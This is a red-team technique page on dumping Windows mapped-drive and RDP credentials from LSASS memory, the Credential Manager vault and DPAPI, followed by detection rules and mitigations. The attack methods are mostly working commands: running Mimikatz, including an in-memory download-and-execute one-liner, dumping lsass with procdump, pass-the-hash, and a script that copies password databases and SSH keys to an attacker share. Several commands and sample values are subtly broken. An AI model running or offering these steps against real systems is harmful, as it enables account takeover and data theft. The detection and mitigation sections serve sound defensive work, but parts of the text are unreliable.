MCADDF

[CA-DUMP-009]: Mapped drive credential exposure

Metadata

Attribute Details
Technique ID CA-DUMP-009
MITRE ATT&CK v18.1 T1003.001 - OS Credential Dumping: LSASS Memory
Tactic Credential Access
Platforms Windows Endpoint
Severity High
Technique Status ACTIVE
Last Verified 2025-01-02
Affected Versions Windows Vista-2025 (Desktop/Server editions)
Patched In Unpatched (Mitigation: Disable WDigest, Enable LSASS PPL/Credential Guard)
Author SERVTEPArtur Pchelnikau

Note: Sections 6 (Atomic Red Team) not included because no direct Atomic test exists for mapped drive credential extraction (Atomic focuses on process-level techniques like Mimikatz execution rather than file-level credential mapping). All section numbers have been dynamically renumbered based on applicability.


2. EXECUTIVE SUMMARY

Concept: When a user maps a network drive using credentials (e.g., net use Z: \\server\share /user:DOMAIN\user password), or connects via RDP with resource redirection enabled, Windows stores the authentication credentials in the Local Security Authority Subsystem Service (LSASS) process memory. These credentials remain in plaintext or reversibly encrypted form in LSASS—and crucially, they are also cached in the Windows Credential Manager vault and registry LSA Secrets. An attacker with local administrator privileges can extract these credentials using tools like Mimikatz, Procdump, or SharpDPAPI, then reuse them for lateral movement across SMB shares, RDP sessions, or other network resources without triggering multi-factor authentication or requiring the original passwords.

Attack Surface: The attack targets LSASS process memory (lsass.exe), Windows Credential Manager vault (C:\Users\*\AppData\Local\Microsoft\Credentials\*), registry LSA Secrets (HKLM\SECURITY\Policy\Secrets), RDP session processes (rdpclip.exe, svchost.exe hosting TermService), and DPAPI master keys stored in C:\Windows\System32\Microsoft\Protect. Secondary attack surface includes the \\tsclient\ UNC path used for RDP device redirection, which attackers can enumerate and access to steal files and clipboard data.

Business Impact: Immediate lateral movement across domain. Extraction of even a single mapped drive credential (e.g., file server, backup system, or domain-joined database) grants attackers unrestricted access to critical business data, backup systems, or privilege escalation stepping stones. RDP credential theft enables attacker-controlled login to sensitive systems, bypassing accountability logs (credentials are used in the attacker’s name, not the victim’s). This technique commonly leads to T0 compromise within hours.

Technical Context: Credential caching in LSASS is a core Windows feature for seamless single sign-on (SSO); disabling it degrades user experience. Extraction typically completes in seconds once LSASS access is achieved (via local admin). The technique is highly reliable across all Windows versions and is one of the most frequently observed tactics in real-world attacks (ransomware, espionage, lateral movement).

Operational Risk

Compliance Mappings

| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 5.3.7, 5.4.2, 18.2.1 | WDigest configuration, LSASS PPL enablement, security audit logging | | DISA STIG | WN10-GE-000027, WN10-GE-000034, SI-4 | WDigest plaintext, PPL configuration, system monitoring | | CISA SCuBA | Identity.2.1, Endpoint.1.2 | Credential storage protection, endpoint security monitoring | | NIST 800-53 | AC-3, CA-7, SI-4 | Access enforcement, continuous monitoring, information system monitoring | | GDPR | Art. 32 | Encryption and pseudonymization of personal data (including admin credentials) | | DORA | Art. 9 | Operational resilience; protection against credential-based attacks | | NIS2 | Art. 21 | Cyber risk management; access control and credential protection | | ISO 27001 | A.9.2.3, A.9.3.1, A.10.1.1 | Privileged access management, password management, audit logging | | ISO 27005 | Section 5.2.3 | Risk assessment of credential storage vulnerabilities |


3. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

PowerShell Reconnaissance - Detect Credential Caching & Mapped Drives

# Check for active mapped network drives
Get-PSDrive -PSProvider FileSystem | Where-Object {$_.Root -match "^\\\\"} | Select-Object Name, Root

# Enumerate Credential Manager stored credentials (vault::cred equivalent in PowerShell)
cmdkey /list

# Check WDigest status (if set to 1, plaintext passwords in LSASS)
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -ErrorAction SilentlyContinue

# Verify LSASS PPL status (Protected Process Light)
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -ErrorAction SilentlyContinue

# Check if Credential Guard is enabled
Get-Itempty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LsaCfgFlags" -ErrorAction SilentlyContinue
# Value: 0 = disabled, 1 = enabled with UEFI, 2 = enabled with hypervisor

What to Look For:

Version Note: Behavior varies by version. Windows 8.1/2012R2+ removed plaintext passwords by default (unless WDigest enabled). Windows 11 enables PPL + Credential Guard by default; older versions do not.

Command (Server 2016-2019 - Legacy Defaults):

# Check if any plaintext password protections are enabled
$wdigest = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -ErrorAction SilentlyContinue
if ($wdigest.UseLogonCredential -eq 1) {
    Write-Host "WDigest ENABLED - plaintext passwords in LSASS!" -ForegroundColor Red
} else {
    Write-Host "WDigest disabled - no plaintext passwords (unless RDP/legacy SSP enabled)"
}

Command (Server 2022+ - Modern Protections):

# Check modern LSASS protections
$ppl = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -ErrorAction SilentlyContinue
$credguard = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LsaCfgFlags" -ErrorAction SilentlyContinue

if ($ppl.RunAsPPL -eq 1) { Write-Host "LSASS PPL: ENABLED" } else { Write-Host "LSASS PPL: DISABLED" }
if ($credguard.LsaCfgFlags -ge 1) { Write-Host "Credential Guard: ENABLED" } else { Write-Host "Credential Guard: DISABLED" }

Bash/Linux CLI Reconnaissance

# If testing from Linux attacker machine with network access to Windows endpoint
# Check if LSASS dumping tools are present on target (run via WinRM/PsExec)
winrm -c "Get-Command Mimikatz -ErrorAction SilentlyContinue"

# Alternatively, scan for Mimikatz.exe presence
Find-File -Path "C:\*" -Name "Mimikatz.exe" -ErrorAction SilentlyContinue 2>/dev/null

# Check network for accessible SMB shares (may reveal mapped drive servers)
nmap -p 445 --script smb-enum-shares <target_ip>

5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Mimikatz LSASS Memory Extraction (Local Admin Required)

Supported Versions: Windows Vista-2025 (all editions)

This method uses Mimikatz to extract and decrypt credentials stored in LSASS memory from mapped drives, RDP sessions, and cached logons.

Step 1: Gain Local Administrator Privileges

Objective: Confirm current user has admin privileges (required for LSASS access)

Version Note: Consistent across all Windows versions.

Command:

# Check if current session is administrator
[System.Security.Principal.WindowsIdentity]::GetCurrent() | Select-Object User

# Get group membership
whoami /groups

# Verify admin status
([System.Security.Principal.WindowsPrincipal][System.Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)

Expected Output:

User: CONTOSO\admin

BUILTIN\Administrators
Alias    Everyone
...

True  # Admin check passed

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Download/Compile & Execute Mimikatz

Objective: Obtain and run Mimikatz to access LSASS credentials

Version Note: Mimikatz command syntax consistent across LSASS versions; credential format varies (Vista uses NTLM hashes, Windows 8.1+ uses Kerberos tickets + NTLM).

Command (Download Pre-compiled):

# Download latest Mimikatz release
$url = "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20230419/mimikatz_trunk.zip"
Invoke-WebRequest -Uri $url -OutFile "C:\Temp\mimikatz.zip"
Expand-Archive "C:\Temp\mimikatz.zip" -DestinationPath "C:\Temp"

# Run Mimikatz privilege::debug + sekurlsa::logonpasswords
& "C:\Temp\mimikatz\x64\mimikatz.exe" "privilege::debug" "sekurlsa::logonpasswords" exit

Expected Output:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 1234567890
Session           : Interactive
User Name         : CONTOSO\fileserver-admin
Domain            : CONTOSO
Logon Server      : CONTOSO-DC01
Logon Time        : 01/02/2025 10:30:45
SID               : S-1-5-21-...-512

msv :
 [00000003] Primary
  * Username : CONTOSO\fileserver-admin
  * Domain   : CONTOSO
  * NTLM     : 8f5e3c6a1b9d2f4e7a3b5c8d9e1f3a5b
  * SHA1     : a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
  
  [00010000] CredentialKeys
  * NTLM     : 8f5e3c6a1b9d2f4e7a3b5c8d9e1f3a5b
  * SHA1     : a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6

wdigest :
 * Username : CONTOSO\fileserver-admin
 * Domain   : CONTOSO
 * Password : \\FileServer@2024

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Reuse Extracted Credentials for Lateral Movement

Objective: Use harvested NTLM hashes or plaintext passwords to access other systems

Version Note: NTLM pass-the-hash works on all versions; plaintext reuse varies by WDigest configuration.

Command (Pass-the-Hash via Mimikatz sekurlsa::pth):

# Use extracted NTLM hash to impersonate credential holder
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:fileserver-admin /domain:CONTOSO /ntlm:8f5e3c6a1b9d2f4e7a3b5c8d9e1f3a5b /run:cmd.exe

# Now cmd.exe runs with NTLM hash of fileserver-admin
# Access \\backup-server\backups with no password prompt
net use \\backup-server\backups
dir \\backup-server\backups

# Access database server
sqlcmd -S db-server.contoso.com -U fileserver-admin  # No password needed; hash provides auth

Command (Plaintext Password via Runas - if WDigest enabled):

# If extracted password is "\\FileServer@2024"
# Use runas to spawn process with stolen credentials
runas /user:CONTOSO\fileserver-admin /netonly "cmd.exe"
# Prompted for password; enter extracted plaintext: \\FileServer@2024

# Now access domain resources
net use Z: \\fileserver\data /user:CONTOSO\fileserver-admin \\FileServer@2024
# Lateral movement to next target achieved

Expected Output:

The command completed successfully.

Z: \\fileserver\data IS NOW CONNECTED

What This Means:

OpSec & Evasion:


METHOD 2: Procdump + Mimikatz (LOLBin Memory Dump, Reduced AV Detection)

Supported Versions: Windows Vista-2025

This method uses legitimate Windows/Sysinternals tools (procdump, taskmgr, rundll32) to dump LSASS memory offline, avoiding real-time AV hooks on LSASS process.

Step 1: Create LSASS Memory Dump Using Procdump

Objective: Dump LSASS process memory to a file for offline credential extraction

Version Note: Procdump behavior consistent across all Windows versions.

Command:

# Download Procdump from Microsoft Sysinternals
$url = "https://download.sysinternals.com/files/Procdump.zip"
Invoke-WebRequest -Uri $url -OutFile "C:\Temp\Procdump.zip"
Expand-Archive "C:\Temp\Procdump.zip" -DestinationPath "C:\Temp"

# Accept license agreement (non-interactive flag)
& "C:\Temp\procdump64.exe" -accepteula

# Dump LSASS to file (full memory dump with -ma flag)
& "C:\Temp\procdump64.exe" -ma lsass.exe "C:\Temp\lsass.dmp"

Expected Output:

ProcDump v11.0 - Process memory dump utility
Copyright (C) 2009-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

[10:45:23] Dump 1 initiated: C:\Temp\lsass.dmp
[10:45:25] Dump 1 complete: 450 MB written in 2.1 seconds
Process dump written to C:\Temp\lsass.dmp

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Transfer Dump to Attacker Machine & Analyze with Mimikatz

Objective: Copy LSASS memory dump to attacker-controlled machine and extract credentials offline

Version Note: Dump analysis identical across Windows versions.

Command (Copy via SMB):

# On compromised endpoint
$dumpPath = "C:\Temp\lsass.dmp"
$attacker_share = "\\attacker-machine\share"
Copy-Item $dumpPath "$attacker_share\lsass.dmp"

# On attacker machine (Linux/macOS/Windows)
# Extract credentials from dump using Mimikatz
.\mimikatz.exe "sekurlsa::minidump C:\downloads\lsass.dmp" "sekurlsa::logonpasswords" exit

Alternative Command (via RDP Copy/Paste):

# If RDP clipboard redirection enabled, copy dump via drag-and-drop
# (requires physical proximity or proxied RDP session)

Expected Output:

mimikatz # sekurlsa::minidump C:\downloads\lsass.dmp
Opening 'C:\downloads\lsass.dmp'...
State:  OK

mimikatz # sekurlsa::logonpasswords

# Credentials extracted (identical to live extraction)
Authentication Id : ...

What This Means:

OpSec & Evasion:


METHOD 3: Windows Credential Manager/Vault Extraction (vault::cred)

Supported Versions: Windows 7-2025

This method extracts stored network drive credentials from the Windows Credential Manager vault (DPAPI-encrypted but decryptable with local access).

Step 1: Enumerate Credential Manager Stored Credentials

Objective: List all stored network drive credentials in Windows Credential Manager

Version Note: Credential Manager present on Windows 7+; vault schema changed in Windows 8+.

Command (PowerShell - Native):

# List all stored credentials (requires admin)
cmdkey /list

# Output example:
# Target: Domain Password
# Type: Generic
# User: CONTOSO\backup-admin

# Target: \\backup-server\backup-share
# Type: Domain Password
# User: CONTOSO\backup-admin

Command (PowerShell - Get-StoredCredential):

# If CredentialManager module installed (PowerShell 5.0+)
Get-StoredCredential -Target "\\backup-server\backup-share"

# Output:
# Username: CONTOSO\backup-admin
# Password: BackupAdm!2024Pass

Command (Mimikatz vault::list & vault::cred):

.\mimikatz.exe "vault::list" "vault::cred" exit

# Output:
# TargetName : \\backup-server\backup-share
# UserName : CONTOSO\backup-admin
# Credential : BackupAdm!2024Pass
# Flags : 00000000

Expected Output:

[*] Vault Type: Domain Password
[*] Auth Package: NTLMSSP_OID
[*] Credential Count: 3

Target      | Type     | User
============|==========|==================
Mapped:Z    | Password | CONTOSO\fileadmin
RDP-Server  | Password | CONTOSO\sysadmin
DB-Server   | Password | CONTOSO\dba

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Decrypt DPAPI-Encrypted Vault Credentials

Objective: Decrypt vault credentials using DPAPI master key

Version Note: DPAPI decryption consistent across versions; master key location varies slightly (Windows 7 vs. 8+).

Command (Mimikatz dpapi::cred):

# Path to DPAPI-encrypted credential file
$credFile = "C:\Users\CONTOSO.admin\AppData\Local\Microsoft\Credentials\AA10EB8126AA20883E9542812A0F904C"

# Decrypt using Mimikatz DPAPI module
.\mimikatz.exe "dpapi::cred /in:$credFile" exit

# Output:
# credFlags : 00000030
# credSize : 000000fe
# Type : 00000002 - domain_password
# UserName : CONTOSO\fileadmin
# CredentialBlob : FileShare@2024!

Expected Output:

CREDENTIAL
credFlags : 00000030 - 48
credSize : 000000fe - 254
Type : 00000002 - 2 - domain_password
UserName : CONTOSO\fileadmin
CredentialBlob : FileShare@2024!

What This Means:

OpSec & Evasion:


METHOD 4: RDP Credential Theft via Device Redirection (rdpclip.exe, tsclient)

Supported Versions: Windows Vista-2025 (RDP with drive redirection enabled)

This method exploits RDP device redirection to steal credentials and files from the client’s local drives when mounted on the RDP server.

Step 1: Establish RDP Session with Drive Redirection Enabled

Objective: Connect to RDP server with local C: drive redirected

Version Note: RDP drive redirection available on all Windows versions; tsclient UNC path standard.

Command (RDP Client Configuration):

# Create RDP file with C: drive redirect
echo "[Connection Settings]" > attacker-rds.rdp
echo "full address:s:rdp-server.contoso.com" >> attacker-rds.rdp
echo "username:s:CONTOSO\user" >> attacker-rds.rdp
echo "password:s:P@ssw0rd123" >> attacker-rds.rdp
echo "drivestoredirect:s:*" >> attacker-rds.rdp  # Redirect all drives
echo "redirectclipboard:i:1" >> attacker-rds.rdp  # Enable clipboard

# Connect via RDP
mstsc.exe attacker-rds.rdp

Command (PowerShell - Remote RDP Connection):

# On attacker-controlled RDP server, detect client drive redirections
Get-WmiObject Win32_LogicalDisk | Where-Object { $_.DriveType -eq 4 } | Select-Object Name, Size

# Output (if client redirected drives):
# Name  Size
# Z:    1099511627776  # 1TB - client's local drive redirected
# X:    268435456000   # 250GB - another client drive

# Access redirected client drive
dir Z:\  # Browse client's C: drive via Z:
dir X:\Users\

Expected Output:

Directory of Z:\

01/02/2025  10:30 AM    <DIR>          Users
01/02/2025  10:31 AM    <DIR>          Windows
01/02/2025  10:32 AM    <DIR>          Program Files
...

What This Means:

OpSec & Evasion:

Step 2: Credential Theft from Redirected Drives

Objective: Steal saved credentials and private keys from client’s redirected local drives

Version Note: Credential storage locations consistent across Windows versions.

Command (Enumerate KeePass, SSH, RDP Credentials):

# Common credential storage locations on Windows
$credFiles = @(
    "Z:\Users\*\AppData\Local\Microsoft\Credentials\*",  # Windows Credential Manager vault
    "Z:\Users\*\AppData\Roaming\KeePass\*",               # KeePass password database
    "Z:\Users\*\.ssh\*",                                   # SSH keys
    "Z:\Users\*\AppData\Local\Microsoft\Vault\*",         # Internet Explorer/Edge vault
    "Z:\Users\*\AppData\Roaming\MobaXterm\*"              # MobaXterm SSH sessions
)

foreach ($pattern in $credFiles) {
    Get-ChildItem -Path $pattern -ErrorAction SilentlyContinue | ForEach-Object {
        Copy-Item -Path $_.FullName -Destination "C:\Temp\stolen\" -Recurse -Force
    }
}

# Exfiltrate stolen credentials
& "C:\Temp\7zip.exe" a -r "C:\Temp\stolen.7z" "C:\Temp\stolen\"
Copy-Item "C:\Temp\stolen.7z" "\\attacker-smb\loot\"

Expected Output:

Directory: C:\Temp\stolen\

Mode                 LastWriteTime         Length Name
----                 ---------------         ------ ----
-a---           1/2/2025 10:45 AM                 KeePassDB.kdbx
-a---           1/2/2025 10:45 AM         2048    id_rsa
-a---           1/2/2025 10:45 AM          567    id_rsa.pub
-a---           1/2/2025 10:45 AM                 AA10EB8126AA20883E9542812A0F904C

What This Means:

OpSec & Evasion:


7. TOOLS & COMMANDS REFERENCE

Mimikatz

Version: 2.2.0+ (Latest recommended) Minimum Version: 2.0 (older versions lack vault/DPAPI features) Supported Platforms: Windows Vista-2025, .NET 4.5+ optional

Version-Specific Notes:

Installation:

# Download latest release
$url = "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20230419/mimikatz_trunk.zip"
Invoke-WebRequest -Uri $url -OutFile "Mimikatz.zip"
Expand-Archive "Mimikatz.zip"

# Run (no installation required; binary only)
.\mimikatz\x64\mimikatz.exe

Usage (Common Commands):

# Extract LSASS credentials
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# Extract Credential Manager vault
.\mimikatz.exe "vault::list" "vault::cred" exit

# Decrypt DPAPI vault files
.\mimikatz.exe "dpapi::cred /in:C:\Users\Admin\AppData\Local\Microsoft\Credentials\GUID" exit

# RDP session credential extraction
.\mimikatz.exe "ts::logonpasswords" exit

# Pass-the-Hash
.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:admin /domain:CONTOSO /ntlm:HASH" exit

Procdump

Version: 11.0+ (Latest) Minimum Version: 9.0 Supported Platforms: Windows Vista-2025, x32/x64

Installation:

$url = "https://download.sysinternals.com/files/Procdump.zip"
Invoke-WebRequest -Uri $url -OutFile "Procdump.zip"
Expand-Archive "Procdump.zip"

# Accept EULA
.\procdump64.exe -accepteula

# Dump LSASS
.\procdump64.exe -ma lsass.exe lsass.dmp

Script (One-Liner - Mimikatz in Memory via PowerShell Reflection)

# Download and execute Mimikatz entirely in memory (no disk binary)
$url = "https://raw.githubusercontent.com/Empire/Empire/master/empire/server/data/module_source/privesc/Invoke-Mimikatz.ps1"
$script = (Invoke-WebRequest -Uri $url).Content
Invoke-Expression $script
Invoke-Mimikatz -DumpCreds

9. MICROSOFT SENTINEL DETECTION

Query 1: LSASS Memory Access via Suspicious Processes

Rule Configuration:

KQL Query:

let suspiciousTools = pack_array(
    "mimikatz.exe",
    "procdump.exe",
    "dumpert.exe",
    "safetykatz.exe",
    "sharpdpapi.exe"
);

let lsassTargetProcesses = pack_array(
    "lsass.exe",
    "svchost.exe"  // RDP services
);

DeviceProcessEvents
| where ProcessName in (suspiciousTools)
| summarize count() by ProcessName, DeviceName, InitiatingUserName, Timestamp
| where count() >= 1
| project 
    TimeGenerated = Timestamp,
    Device = DeviceName,
    User = InitiatingUserName,
    Tool = ProcessName,
    Severity = "Critical"

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Microsoft SentinelAnalytics+ CreateScheduled query rule
  2. General Tab:
    • Name: LSASS Credential Extraction Attempt
    • Severity: Critical
  3. Set rule logic Tab:
    • Paste KQL query above
    • Run query every: 5 minutes
  4. Incident settings Tab:
    • Enable Create incidents
    • Group by: Device, User
  5. Click Review + create

Query 2: Credential Manager Vault Access (vault::cred Operations)

Rule Configuration:

KQL Query:

SecurityEvent
| where EventID == 4663  // File System Audit
| where ObjectName matches regex @"\\AppData\\Local\\Microsoft\\Credentials\\"
| where ProcessName !in ("explorer.exe", "credwiz.exe")  // Exclude legitimate processes
| summarize count() by ObjectName, ProcessName, SubjectUserName, bin(TimeGenerated, 10m)
| where count() >= 1
| project 
    TimeGenerated,
    VaultFile = ObjectName,
    AccessingProcess = ProcessName,
    User = SubjectUserName,
    Severity = "High"

What This Detects:


10. WINDOWS EVENT LOG MONITORING

Event ID: 10 (Sysmon - Process Access to LSASS)

Event ID: 4663 (Security - File System Audit - DPAPI Vault Access)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy Configuration
  3. Enable: Object AccessAudit File System (Success and Failure)
  4. Enable: Detailed TrackingAudit Process Creation (Success and Failure)
  5. Run gpupdate /force on machines

Manual Configuration Steps (Local Policy):

  1. Open Local Security Policy (secpol.msc)
  2. Navigate to Security SettingsAdvanced Audit Policy Configuration
  3. Enable: Object AccessAudit File System
  4. Run auditpol /set /subcategory:"File System" /success:enable /failure:enable

11. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Vista-2025

<Sysmon schemaversion="4.8">
  <RuleGroup name="Credential Theft - LSASS & Vault" groupRelation="or">
    
    <!-- Detect LSASS memory access (suspicious handle open) -->
    <ProcessAccess onmatch="include">
      <TargetImage condition="contains">lsass.exe</TargetImage>
      <GrantedAccess condition="contains">0x1f0f</GrantedAccess>  <!-- PROCESS_VM_READ -->
    </ProcessAccess>

    <!-- Detect credential extraction tools -->
    <ProcessCreate onmatch="include">
      <Image condition="contains">mimikatz</Image>
      <Image condition="contains">procdump</Image>
      <Image condition="contains">dumpert</Image>
      <CommandLine condition="contains">sekurlsa</CommandLine>
      <CommandLine condition="contains">vault::cred</CommandLine>
    </ProcessCreate>

    <!-- Detect Credential Manager/Vault file access -->
    <FileCreate onmatch="include">
      <TargetFilename condition="contains">AppData\Local\Microsoft\Credentials</TargetFilename>
    </FileCreate>

    <!-- Detect DPAPI key access -->
    <FileAccess onmatch="include">
      <TargetFilename condition="contains">Windows\System32\Microsoft\Protect</TargetFilename>
    </FileAccess>

  </RuleGroup>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon: Microsoft Sysinternals
  2. Create sysmon-config.xml with XML above
  3. Install: sysmon64.exe -accepteula -i sysmon-config.xml
  4. Verify: Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10

12. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Suspicious LSASS Memory Access Detected”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings → Select subscription
  3. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for Endpoint: ON
  4. Click Save
  5. Go to Security alerts to view triggered alerts

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify All Mitigations Active)

# Check WDigest disabled
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -ErrorAction SilentlyContinue
# Result: 0 or missing (GOOD)

# Check LSASS PPL enabled
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -ErrorAction SilentlyContinue
# Result: 1 (GOOD)

# Check Credential Guard enabled
Get-ComputerInfo | Select-Object "DeviceGuardSecurityServicesConfigured"
# Result: Credential Guard (GOOD)

# Check RDP drive redirection disabled
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "fDisableDriveRedirection" -ErrorAction SilentlyContinue
# Result: 1 (GOOD)

15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    • Disconnect affected machine from network (physically unplug or disable NIC)
    • Command:
      Disable-NetAdapter -Name "Ethernet" -Confirm:$false
      
    • Manual (Azure VM):
      • Go to Azure PortalVirtual Machines → Select VM → Networking → Select NIC → Disable
  2. Collect Evidence:
    • Dump memory immediately (before potential cleanup): ```powershell

      Export memory for forensics

      procdump64.exe -ma lsass.exe C:\Evidence\lsass.dmp

    Export Security Event Log

    wevtutil epl Security C:\Evidence\Security.evtx

    Export Sysmon log

    wevtutil epl Microsoft-Windows-Sysmon/Operational C:\Evidence\Sysmon.evtx ```

    • Copy vault credentials directory: Copy-Item "C:\Users\*\AppData\Local\Microsoft\Credentials" -Destination "C:\Evidence\" -Recurse
    • Hash all executable files (detect Mimikatz): Get-FileHash -Path "C:\Temp\*" -Algorithm SHA256
  3. Remediate:
    • Terminate malicious processes:
      Stop-Process -Name "mimikatz" -Force -ErrorAction SilentlyContinue
      Stop-Process -Name "procdump" -Force -ErrorAction SilentlyContinue
      
    • Revoke stolen credentials: ```powershell

      Reset password for all potentially compromised domain accounts

      Example: fileserver-admin account whose credentials were stolen

      Set-ADUserPassword -Identity “fileserver-admin” -NewPassword (ConvertTo-SecureString -AsPlainText “NewComplexPass!2025” -Force) -Reset

    Force logout from all network sessions

    logoff 0 /server:fileserver

        
    - **Remove from compromised systems:**
    ```powershell
    # Remove malicious files
    Remove-Item -Path "C:\Temp\mimikatz.exe" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "C:\Temp\lsass.dmp" -Force -ErrorAction SilentlyContinue
        
    # Reset affected endpoint
    # (Most reliable: reimage from known-good backup or VM snapshot)
    
  4. Investigate Lateral Movement:
    • Query SMB logs on file servers for access by stolen accounts from unexpected source IPs
    • Check RDP logs for logons with stolen credentials
    • Review command execution logs (PowerShell, WMI) for post-compromise activity
    • Escalate to incident response if data exfiltration suspected

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-001] Remote Code Execution Attacker gains initial foothold (phishing RDP, vulnerable service)
2 Privilege Escalation [PE-EXPLOIT-001] PrintNightmare / Local Privilege Escalation Attacker escalates to local admin
3 Credential Access [CA-DUMP-009] Attacker extracts mapped drive credentials from LSASS/Vault
4 Lateral Movement [LM-AUTH-001] Pass-the-Hash (PTH) Attacker uses extracted NTLM hashes to access file servers/domain resources
5 Persistence [PERSIST-ACCT-001] AdminSDHolder Abuse Attacker maintains admin access for continued exploitation
6 Credential Access (T0) [CA-DUMP-006] NTDS.dit Extraction Attacker gains domain controller access and extracts all domain password hashes
7 Impact [IMPACT-RANSOM-001] Ransomware Deployment Attacker encrypts all networked systems using T0 admin rights

17. REAL-WORLD EXAMPLES

Example 1: Scattered Spider - Mapped Drive Credential Harvesting (2023)

Example 2: RDStealer Malware - RDP Device Redirection Exploitation (2023)

Example 3: Conti Ransomware - Mapped Drive Lateral Movement (2021)